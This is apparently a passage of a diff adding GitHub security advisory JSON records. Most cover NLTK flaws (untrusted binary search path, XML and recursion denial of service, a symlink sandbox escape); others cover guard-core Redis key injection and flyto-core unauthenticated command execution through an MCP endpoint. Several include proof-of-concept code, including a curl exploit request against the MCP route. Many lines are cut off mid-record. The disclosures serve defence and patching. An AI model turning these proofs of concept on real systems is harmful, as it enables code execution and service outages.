resolved directory.\n\n## Proof of Concept\nIn a directory containing an executable `./prover9`:\n```python\nfrom nltk.inference.prover9 import Prover9\np = Prover9(); p.config_prover9(binary_location='.')\n# p._prover9_bin == './prover9'; subsequent prove() Popens it from CWD\n```\nRuntime-confirmed: `find_binary('prover9', path_to_bin='.')` → `'./prover9'`; bare `find_binary('prover9')` and relative `PROVER9='.'` via default `_find_binary` both raise `LookupError` (the default path is protected).\n\n## Attack Chain\n1. Entry: app calls `config_prover9(binary_location=<relative>)` / `config_mace(...)`. Guard: CWD-rejection in `find_binary_iter`. Bypass proof: truthy `path_to_bin` sets `searching_bare_name=False` → filter never runs.\n2. Resolution: `find_binary` returns `'./prover9'`. Guard: boxer's `if os.path.isabs(binary): return`. Bypass proof: prover9/mace have no such loop — relative first match stored verbatim.\n3. Sink: `subprocess.Popen(['./prover9']+args)` (prover9.py:207) — separator-containing path ⇒ execvp runs it relative to CWD, bypassing `$PATH`.\n4. Impact: planted `./prover9`/`./mace4` executes = local code execution.\n\n## Bypass Evidence\nRuntime: `find_binary('prover9', path_to_bin='.') -> './prover9'`; `find_binary('prover9') -> LookupError`. `git log -- nltk/inference/prover9.py nltk/inference/mace.py` shows only copyright/formatting commits — no security fix. GHSA-6hwm-xvph-95vm (CWE-426/427) is scoped to the `dot` binary and names the swept class as senna/weka/boxer/malt/repp/hunpos — prover9/mace absent.\n\n## Affected Versions\n`<= 3.10.3` — present on latest release and HEAD; no fix.\n\n## Suggested Fix\nMirror boxer: accept only the first `os.path.isabs()` result from `find_binary_iter`, or reject a relative `binary_location` in `config_prover9`/`config_mace`.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use\n\n## Fix status (2026-09-28)\n\nStatus: IN PROGRESS (fix on an open pull request, not yet on develop).\n\nPR: #3887 \"Resolve every executed tool binary absolute-only: prover9/mace4, megam, tadm, java, hunpos (untrusted search path, CWE-426/427)\", open; head 3ac1c5641 at the time of this note (a develop merge on top of 16b1de8ee, the head on which the verdicts below were measured).\n\nFix commits: f0a75c665 (a relative binary_location is rejected in prover9/mace, megam and tadm), 4ca190b74 (find_binary_absolute refuses a match containing '..'; config_java, hunpos and the prover9 helpers resolve absolute-only), 992884a02 (the JVM is resolved before spawning and spawned through spawn_trusted), d4f0309bb (own PATH walk without which, pathsec-gated tool locations, a pre-commit hook that keeps every spawn on pathsec).\n\nProbe: nltk/test/unit/security_probes/ghsa_cc5r_64rf_75hg.py (on the PR). Verdict on the PR head: FIXED (213 relative locations refused across 9 entry points; with an install configured every form resolved to it and never to a CWD decoy; a PATH climbing into the decoy directory was refused; a world-writable install was refused at launch). The same probe run against develop 2fa3f48fe: VULNERLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-cj8f-5fp3-6m88","published":"2026-11-19T23:48:18Z","modified":"2026-11-20T00:00:05.087378419Z","aliases":["CVE-2026-129232"],"summary":"NLTK: Quadratic CPU exhaustion in NLTK XMLCorpusView.read_block via deeply nested XML corpus tags","details":"## Summary\n\nNLTK's `XMLCorpusView.read_block` rebuilds the full root-to-node context path with `\"/\".join(context)` on every start tag while it is still searching for a matching element. Because the context stack grows with XML nesting depth and the join is repeated once per start tag, a single corpus file containing deeply nested tags forces O(n^2) pure-Python work, where n is the number of nested elements. Any application that parses attacker-influenced XML corpus data through an `XMLCorpusView` subclass (for example the `nps_chat`, `framenet`, `bnc`, `mte`, `nkjp`, or `semcor` readers) can be driven to exhaust a CPU core for an extended period, producing a denial of service without any authentication or special privilege.\n\n## Root Cause\n\n`read_block` maintains a `context` list that is appended on each start tag and popped on each end tag, so it grows monotonically to the maximum nesting depth while an element is being sought. For every start tag, while no target element has been located yet (`elt_start is None`), the code recomputes the entire path string from scratch and matches it against the reader's tagspec. The tagspec is anchored (`tagspec + \"\\\\Z\"`), so a nested path such as `a/a/a/...` never completes a full match against a concrete tagspec like `Session/Posts/Post`; `elt_start` therefore stays `None` for the entire file and the per-start-tag join runs for all n tags over depths 1..n. Summing those join costs yields O(n^2). There is no nesting-depth limit, context-length bound, or cumulative-work budget in `read_block`, and the per-call regex timeout used elsewhere in the file does not observe this cumulative pure-Python string cost.\n\n```text\nnltk/corpus/reader/xmldocs.py : XMLCorpusView.read_block\n context.append(name) # start-tag: stack grows with depth\n if elt_start is None:\n if tagspec.match(\"/\".join(context)): # full path rebuilt per start tag -> O(depth)\n ...\n # empty-element variant rebuilds \"/\".join(context) + \"/\" + name the same way\n```\n\n## Impact\n\nAn unauthenticated attacker who can supply or influence an XML corpus file processed by an `XMLCorpusView` subclass can cause quadratic CPU consumption. A crafted file of roughly 200 KB consumes several seconds of a single core; a few-megabyte file pins a core for minutes, and an arbitrarily large or unclosed nested file can hang the affected process indefinitely on that core. The result is a denial-of-service condition (CWE-407 / CWE-400). No confidentiality or integrity impact is demonstrated; the impact is availability of the processing thread or process. The prerequisite is that the application feed untrusted or attacker-influenced corpus XML into one of the affected readers, which is the same trust boundary already accepted for the seed issue in the same file.\n\n## Proof of Concept\n\n`Requires only the nltk package and its standard XML corpus reading path; no network or special configuration.`\n\nReproduction drives a real `SeekableUnicodeStreamReader` and the real `read_block` with an `nps_chat`-style tagspec, comparing nested input (growing context depth) against a flat negative control with an identical tag count.\n\n```python\nimport time, io\nfrom nltk.corpus.reader.xmldocs import XMLCorpusView\n\ndef measure(build, label):\n print(label)\n prev = None\n for n in (4000, 8000, 16000, 32000):\n body = build(n).encode(\"utf-8\")\n # write to a temp file and open through an XMLCorpusView subclass tagspec\n import tempfile, os\n fd, path = tempfile.mkstemp(suffix=\".xml\")\n os.write(fd, b\"<Session>\" + body + b\"</Session>\"); os.close(fd)\n view = XMLCorpusView(path, \"Session/Posts/Post\")\n t = time.time()\n try:\n list(view)\n except Exception:\n pass\n dt = time.time() - t\n ratio = \"\" if prev is None else f\"({dt/prev:.1f}x)\"\n print(f\" n={n:>6} time={dt:7.3f}s {ratio}\")\n prev = dt\n os.remove(path)\n\nmeasure(lambda n: \"<a>\"*n + \"</a>\"*n, \"NESTED (context depth = n):\")\nmeasure(lambda n: \"<a></a>\"*n, \"FLAT (context depth = 1, negative control):\")\n```\n\n```text\nNESTED (context depth = n):\n n= 4000 time= 0.162s\n n= 8000 time= 0.484s (2.99x)\n n= 16000 time= 1.595s (3.29x)\n n= 32000 time= 5.667s (3.6x) -> ratios trend toward 4x per 2x input = O(n^2)\nFLAT (context depth = 1, negative control):\n n= 8000 time= 0.145s\n n= 16000 time= 0.293s (2.03x)\n n= 32000 time= 0.580s (2.0x) -> 2x per 2x input = linear\n```\n\n## Attack Chain\n\n1. **Exposure:** An application uses an `XMLCorpusLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-f2h2-f4fc-p978","published":"2026-11-19T23:50:37Z","modified":"2026-11-20T00:00:05.086947496Z","aliases":["CVE-2026-129228"],"summary":"NLTK: Uncontrolled recursion in Toolbox settings helpers causes denial of service via deeply nested input","details":"## Root Cause\nThe Toolbox settings-tree helpers recurse over the parsed element tree without any depth\nbound. `_to_settings_string` (`nltk/toolbox.py:418`), `remove_blanks`\n(`nltk/toolbox.py:432`), `add_default_fields` (`nltk/toolbox.py:451`), `_sort_fields`\n(`nltk/toolbox.py:484`), and `add_blank_lines` (`nltk/toolbox.py:502,516`) each recurse once\nper element level with no depth counter or explicit stack. The producer\n`ToolboxSettings.parse` builds the element tree iteratively, so nesting depth is driven\nentirely by attacker-supplied `\\+marker` / `\\-marker` pairs.\n\n## Impact\nAn application that parses an untrusted Toolbox settings file and then serialises or\ntransforms it through any of the public helper functions aborts with an unhandled\n`RecursionError`, terminating the affected operation or request worker (denial of service,\nCWE-674). The recursion is pure Python, yielding a catchable `RecursionError` rather than\nmemory corruption or code execution. Confidentiality and integrity are unaffected.\n\n## Attack Chain\n1. The application parses an untrusted settings file via `ToolboxSettings.open_string` /\n `open` plus `parse`, producing an *N*-deep element tree; parsing is iterative and\n completes without error.\n2. The application passes the tree to a public helper — `to_settings_string`,\n `remove_blanks`, `add_default_fields`, `sort_fields`, or `add_blank_lines` — as in the\n module's own parse-then-serialise round trip.\n3. The helper recurses once per element level with no depth guard, consuming call-stack\n frames. This holds even when the helper's configuration dictionaries are empty.\n4. Once the nesting depth exceeds the interpreter recursion limit, an unhandled\n `RecursionError` propagates out of the public API.\n\n## Bypass Evidence\nAgainst the shipped source at the default recursion limit, a settings input nested 5 levels\ndeep traverses cleanly through every helper, while a well-formed input nested 5000 levels\ndeep drives each of the five helpers to an unhandled `RecursionError`; the iterative parse\nbuilds the 4999-deep tree without error, isolating the fault to the recursive helpers. The\nconfig-taking helpers (`add_default_fields`, `sort_fields`, `add_blank_lines`) recurse to\nfailure even with empty configuration dictionaries. A repository-wide search confirms no\ndepth guard exists anywhere in this module.\n\n## Suggested Fix\nCap nesting depth at the shared producer `ToolboxSettings.parse` (the choke point that\nbuilds the tree), or convert the five helpers to iterative traversals / add a shared\nrecursion-depth bound, so all consumers are protected by one fix.\n\nReported by pi (GitHub: @manus-pi).\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3885 \"Bound recursion depth in parsers and traversal helpers\" (ekaf), merged 2026-09-11, merge commit e521ecafc on develop.\n\nFix commit: 0b6975377 (nltk/toolbox.py: the settings helpers stop at MAX_TOOLBOX_DEPTH=500 with ValueError).\n\nProbe: nltk/test/unit/security_probes/ghsa_f2h2_f4fc_p978.py (added in 2a6704952 on that PR); verdict on develop 2fa3f48fe: FIXED (bounded during parse (ValueError)).\n\nRelease: none yet; no release tag contains e521ecafc.","affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.4"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.10.3","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"database_specific":{"last_known_affected_version_range":"<= 3.10.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-f2h2-f4fc-p978/GHSA-f2h2-f4fc-p978.json"}}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-f2h2-f4fc-p978"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-129228"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3885"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/0b6975377d0334af604d32c9d83b26b46e1d437c"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.4Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-g58v-j9g9-5gfg","published":"2026-11-19T23:56:30Z","modified":"2026-11-20T00:15:06.485749503Z","aliases":["CVE-2026-128137"],"summary":"NLTK corpus-reader view methods bypass the scoped root sandbox via intermediate-directory symlinks","details":"> **affected**: PyPI `nltk` `>= 3.9.4` — `CorpusReader.abspaths()`/`abspath()` and the `PlaintextCorpusReader` / `SyntaxCorpusReader` view methods\n> **dynamically reproduced**: `nltk` `3.9.4` (8/9, scoped-escape checks), `3.10.3` (wheel, 9/9 checks) and `master` `6818767b9` (9/9 checks)\n\n---\n\n_Source references (`file:line`) are to commit `303f6e2b` (release tag `v3.10.3`). Line numbers in the released `nltk` wheel match this tag exactly; `master` `6818767b9` contains the same code (pathsec.py renumbered by +44 lines from added hardening comments). In `3.9.4` the same logic exists at earlier line numbers (`api.py:222-236` for `open()`, `api.py:161-203` for `abspath()`/`abspaths()`, `data.py:382-388` for the pointer open, `pathsec.py:105-114` for the scoped branch); the affected code is identical._\n\n### Summary\n\n`CorpusReader.open()` (`nltk/corpus/reader/api.py:235-257`) is NLTK's hardened file-access entry point: after a lexical guard it calls `validate_path(..., required_root=self._root)` (`api.py:246-249`), and the scoped branch of `pathsec.validate_path` (`nltk/pathsec.py:168-179`) resolves symlinks and raises `ValueError` when the resolved target is not inside the corpus root. The view methods do **not** use this entry point: `PlaintextCorpusReader.words/sents/paras` (`nltk/corpus/reader/plaintext.py:67-118`) and `SyntaxCorpusReader.parsed_sents/tagged_sents/sents/tagged_words/words` (`api.py:473-519`) build their streams from `self.abspaths(fileids, ...)` (`api.py:174-217`), which only does a lexical `self._root.join(fileid)` (`nltk/data.py:452-469`) and returns a `FileSystemPathPointer`. That pointer is opened via `FileSystemPathPointer.open()` → `pathsec.open(raw_path, \"rb\")` with `required_root` left at its default `None` (`data.py:438-447`, `nltk/pathsec.py:752,783`), so only the **global** allowed-roots check runs. The `O_NOFOLLOW` in `_hardened_open` (`pathsec.py:676-731`) protects only the final path component, so an **intermediate-directory symlink inside the corpus root** pointing at a sibling allowed root is followed by the kernel. **A caller who places such a symlink (or loads an untrusted corpus containing one) can read any file that `open()` would refuse — files outside the corpus root yet inside the global NLTK data sandbox — via `PlaintextCorpusReader.words([...])` / `SyntaxCorpusReader.words([...])` (and the `abspaths()`-returned pointer), defeating the scoped escape protection that GHSA-p4rw-class fixes and `test_required_root_blocks_symlink_escape` were added for.**\n\n### Details\n\nRoot cause: two sibling file-access channels on the same `CorpusReader` disagree about the scoped sandbox.\n\n1. `CorpusReader.open()` (`api.py:235-257`) — the guarded channel:\n - Layer 1 lexical guard (`api.py:240-242`) rejects absolute paths and `..`.\n - Layer 2 scoped guard (`api.py:246-249`) calls `pathsec.validate_path(path, context=\"CorpusReader\", required_root=self._root)`.\n - The `required_root` branch (`pathsec.py:168-179`) resolves the target with `Path(raw).resolve()` and raises `ValueError` when `target.is_relative_to(scoped_root)` is false.\n\n2. The view-method channel — `abspaths()` → `FileSystemPathPointer` → `pathsec.open(required_root=None)`:\n - `CorpusReader.abspath()` (`api.py:174-183`) and `abspaths()` (`api.py:185-217`) return `self._root.join(f)` with **no** `validate_path` call.\n - `FileSystemPathPointer.join()` (`data.py:452-469`) only normalizes lexically (`normpath` + root-prefix `startswith`); it never calls `os.path.realpath`/`Path.resolve`, so the intermediate symlink is preserved verbatim.\n - `FileSystemPathPointer.open()` (`data.py:438-447`) calls `_secure_open(self._path, \"rb\")` (aliased from `pathsec.open`) with no `required_root`, so `pathsec.open` (`pathsec.py:752`) uses its default `required_root=None` and `validate_path` (`pathsec.py:783`) runs only the global allowed-roots check (`pathsec.py:181-207`).\n - Under `ENFORCE=True` + POSIX, `_hardened_open` (`pathsec.py:676-731`) opens with `O_NOFOLLOW` (`pathsec.py:705`) — but that flag only refuses a symlink in the **final** component; an intermediate directory symlink (`corpus/sub -> <other allowed root>`) is followed by the kernel. The post-open fd realpath re-validation (`pathsec.py:728-731`) again uses `required_root=None`, and since the target is inside an allowed root it passes.\n\n3. The view methods hand the unguarded pointers straight to the stream views:\n - `PlaintextCorpusReader.words/sents/paras` (`plaintext.py:67-118`, abspaths at `76/96/116`) and `chapters` (`plaintext.py:230`).\n - `SyntaxCorpusReader.parsed_sents/tagged_sents/sents/tagged_words/words` (`api.py:473-519Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-gm9r-hvc9-96gv","published":"2026-11-19T22:50:33Z","modified":"2026-11-19T23:00:36.659118318Z","aliases":["CVE-2026-129304"],"summary":"Guard Core: Unvalidated X-Forwarded-For-derived string used as a Redis key component and interpolated into a KEYS glob pattern","details":"### Summary\n\n`_extract_from_forwarded_header()` (`guard_core/utils.py:172-181` in 3.12.0; `:179` on master `08780f1`) returns the selected `X-Forwarded-For` entry **without any `ipaddress` validation**. When that entry is attacker-controlled, an arbitrary string becomes `client_ip` and flows into `BehaviorTracker` (`guard_core/handlers/behavior_handler.py:83-102`), which interpolates it verbatim into both a Redis key name and a `KEYS` glob pattern:\n\n```python\nkey = f\"behavior:usage:{endpoint_id}:{client_ip}\"\nawait self.redis_handler.set_key(\"behavior_usage\", f\"{key}:{current_time}\", \"1\", ttl=rule.window)\npattern = f\"behavior_usage:{key}:*\"\nkeys = await self.redis_handler.keys(pattern) # blocking KEYS, O(N) over keyspace\n```\n\nSame shape in `track_return_pattern()` (`behavior_handler.py:135-142`). `redis_handler.keys()` maps to the blocking Redis `KEYS` command (`guard_core/handlers/redis_handler.py:265-275`).\n\n### Details\n\nThree consequences, in increasing severity:\n\n1. **Cross-client counter contamination.** `X-Forwarded-For: *` makes the glob match *every* client's behavior-usage keys for the endpoint. Verified with a fake-Redis harness: a client `9.9.9.9` hit an endpoint 3 times (threshold=3 rule), then a single attacker request carrying `XFF: *` issued the pattern `behavior_usage:behavior:usage:app.login:*:*`, counted the victim's events, and tripped the rule on its **first** request. An embedded `:` also shifts which key segment is parsed as the timestamp (`behavior_handler.py:94-100`).\n2. **Unbounded key-space growth + blocking scans.** Each request creates a **new unique key** (`f\"{key}:{current_time}\"`) and then issues a blocking `KEYS` scan whose cost grows with total keys — on the shared Redis instance, degrading every guard-core instance using it. Rotating arbitrary XFF strings multiplies distinct keys without bound.\n3. **Error path.** A tripped `ban` action passes the non-IP string to `ip_ban_manager.ban_ip()`, whose `ipaddress` validation raises `ValueError` uncaught in the behavioral processor — the request 500s.\n\n### PoC\n\n```python\nimport asyncio\nfrom types import SimpleNamespace\nfrom guard_core.models import SecurityConfig\nfrom guard_core.utils import extract_client_ip\n\nclass CIHeaders(dict):\n def get(self, key, default=None):\n for k, v in self.items():\n if k.lower() == key.lower():\n return v\n return default\n\nclass FakeRequest:\n def __init__(self, xff):\n self.state = SimpleNamespace()\n self.client_host = \"10.0.0.1\" # the TRUSTED proxy\n self.headers = CIHeaders({\"X-Forwarded-For\": xff})\n\nasync def main():\n config = SecurityConfig(trusted_proxies=(\"10.0.0.1\",), enable_redis=False)\n ip = await extract_client_ip(FakeRequest(\"*\"), config)\n print(repr(ip)) # -> '*' (arbitrary string, no validation)\n\nasyncio.run(main())\n```\n\nThen `BehaviorTracker.track_endpoint_usage(\"app.login\", \"*\", rule)` issues `KEYS behavior_usage:behavior:usage:app.login:*:*` — matching other clients' keys (full fake-Redis script: `poc_xff_redis.py`, available on request).\n\n### Impact\n\nIntegrity and availability of the behavioral-analytics subsystem and the shared Redis instance, in deployments where the extracted XFF position is attacker-controllable. No data exposure; not reachable with default settings (`trusted_proxies` defaults empty).\n\n**Fix:** validate the extracted XFF entry with `ipaddress.ip_address()` before returning it from `extract_client_ip()` (fall back to the connecting IP on failure); escape glob metacharacters (`*?[]`) in anything interpolated into a `KEYS` pattern — or replace the KEYS+per-request-key design with an atomic counter / Lua sliding window (the rate-limit Lua script already shows the right shape).","affected":[{"package":{"name":"guard-core","ecosystem":"PyPI","purl":"pkg:pypi/guard-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"fixed":"3.13.0"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.1.0","1.2.0","1.2.1","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","3.0.0","3.1.0","3.1.1","3.10.0","3.11.0","3.12.0","3.2.0","3.3.0","3.4.0","3.5.0","3.6.0","3.7.0","3.7.1","3.8.0","3.8.1","3.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-gm9r-hvc9-96gv/GHSA-gm9r-hvc9-96gv.json"}}],"references":[{"type":"WEB","url":"https://github.com/Guard-Core/guard-core/security/advisories/GHSA-gm9r-hvc9-96gv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-129304"},{"type":"WEB","url":"https://github.com/GLine truncated
|
||||
@@ -1 +1 @@
|
||||
{"schema_version":"1.9.0","id":"GHSA-h9f9-h6gm-wc85","published":"2026-07-06T17:41:03Z","modified":"2026-10-14T18:30:04.611883374Z","aliases":["CVE-2026-55786","PYSEC-2026-2482"],"summary":"flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`","details":"## Unauthenticated Command Execution via HTTP MCP `execute_module`\n\n### Summary\n\nThe HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header.\n\n### Details\n\nflyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post(\"\")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist.\n\nThe complete unauthenticated data flow from source to sink:\n\n1. **`src/core/api/server.py:75-78`** — `mcp_router` is mounted under `/mcp` unconditionally at app creation.\n2. **`src/core/api/routes/mcp.py:65-66`** — `@router.post(\"\")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route.\n3. **`src/core/api/routes/mcp.py:79`** — the full request body (attacker-controlled JSON) is parsed without validation.\n4. **`src/core/api/routes/mcp.py:103-104`** — each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`.\n5. **`src/core/mcp_handler.py:813-838`** — `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`.\n6. **`src/core/mcp_handler.py:180`, `214-215`** — the module registry resolves `module_id` and invokes it with attacker-supplied `params`.\n7. **`src/core/modules/registry/decorators.py:96-101`** — the function wrapper exposes `self.params` as `context['params']`.\n8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** — `command` is read directly from `params` with no sanitization.\n9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** — `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping.\n\nThe `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable.\n\n**Vulnerable code excerpts:**\n\n```python\n# src/core/api/routes/mcp.py:65-66 — missing auth\n@router.post(\"\")\nasync def mcp_post(request: Request):\n```\n\n```python\n# src/core/mcp_handler.py:832-838 — attacker-controlled dispatch\nelif tool_name == \"execute_module\":\n result = await execute_module(\n module_id=arguments.get(\"module_id\", \"\"),\n params=arguments.get(\"params\", {}),\n context=arguments.get(\"context\"),\n browser_sessions=browser_sessions,\n )\n```\n\n```python\n# src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink\nparams = context['params']\ncommand = params.get('command', '')\n# ... only empty-command and cwd existence checks ...\nproc = await asyncio.create_subprocess_shell(command, ...)\n```\n\n**Contrast with the protected REST route:**\n\n```python\n# src/core/api/routes/modules.py:93 — correctly guarded\n@router.post(\"/execute\", dependencies=[Depends(require_auth)])\n```\n\nThe existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build the image (context: the report directory containing repo/ and vuln-001/)\ndocker build \\\n -f vuln-001/Dockerfile \\\n -t flyto-vuln-001 \\\n reports/mcp_57_flytohub__flyto-core/\n\n# Start the server (binds 0.0.0.0:8333 inside the container)\ndocker run --rm -d \\\n -p 127.0.0.1:8333:8333 \\\n --name flyto-vuln-001-test \\\n flyto-vuln-001\n```\n\n**Exploit (curl) — no Authorization header:**\n\n```bash\ncurl -sS http://127.0.0.1:8333/mcp \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"execute_module\",\n \"arguments\": {\n \"module_id\": \"sandbox.execute_shell\",\n \"params\": {\Line truncated
|
||||
{"schema_version":"1.9.0","id":"GHSA-h9f9-h6gm-wc85","published":"2026-07-06T17:41:03Z","modified":"2026-11-19T23:12:51.599400003Z","aliases":["CVE-2026-55786","PYSEC-2026-2482"],"related":["CVE-2026-77312"],"summary":"flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`","details":"## Unauthenticated Command Execution via HTTP MCP `execute_module`\n\n### Summary\n\nThe HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header.\n\n### Details\n\nflyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post(\"\")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist.\n\nThe complete unauthenticated data flow from source to sink:\n\n1. **`src/core/api/server.py:75-78`** — `mcp_router` is mounted under `/mcp` unconditionally at app creation.\n2. **`src/core/api/routes/mcp.py:65-66`** — `@router.post(\"\")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route.\n3. **`src/core/api/routes/mcp.py:79`** — the full request body (attacker-controlled JSON) is parsed without validation.\n4. **`src/core/api/routes/mcp.py:103-104`** — each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`.\n5. **`src/core/mcp_handler.py:813-838`** — `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`.\n6. **`src/core/mcp_handler.py:180`, `214-215`** — the module registry resolves `module_id` and invokes it with attacker-supplied `params`.\n7. **`src/core/modules/registry/decorators.py:96-101`** — the function wrapper exposes `self.params` as `context['params']`.\n8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** — `command` is read directly from `params` with no sanitization.\n9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** — `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping.\n\nThe `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable.\n\n**Vulnerable code excerpts:**\n\n```python\n# src/core/api/routes/mcp.py:65-66 — missing auth\n@router.post(\"\")\nasync def mcp_post(request: Request):\n```\n\n```python\n# src/core/mcp_handler.py:832-838 — attacker-controlled dispatch\nelif tool_name == \"execute_module\":\n result = await execute_module(\n module_id=arguments.get(\"module_id\", \"\"),\n params=arguments.get(\"params\", {}),\n context=arguments.get(\"context\"),\n browser_sessions=browser_sessions,\n )\n```\n\n```python\n# src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink\nparams = context['params']\ncommand = params.get('command', '')\n# ... only empty-command and cwd existence checks ...\nproc = await asyncio.create_subprocess_shell(command, ...)\n```\n\n**Contrast with the protected REST route:**\n\n```python\n# src/core/api/routes/modules.py:93 — correctly guarded\n@router.post(\"/execute\", dependencies=[Depends(require_auth)])\n```\n\nThe existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build the image (context: the report directory containing repo/ and vuln-001/)\ndocker build \\\n -f vuln-001/Dockerfile \\\n -t flyto-vuln-001 \\\n reports/mcp_57_flytohub__flyto-core/\n\n# Start the server (binds 0.0.0.0:8333 inside the container)\ndocker run --rm -d \\\n -p 127.0.0.1:8333:8333 \\\n --name flyto-vuln-001-test \\\n flyto-vuln-001\n```\n\n**Exploit (curl) — no Authorization header:**\n\n```bash\ncurl -sS http://127.0.0.1:8333/mcp \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"execute_module\",\n \"arguments\": {\n \"module_id\": \"sandbox.execute_sheLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
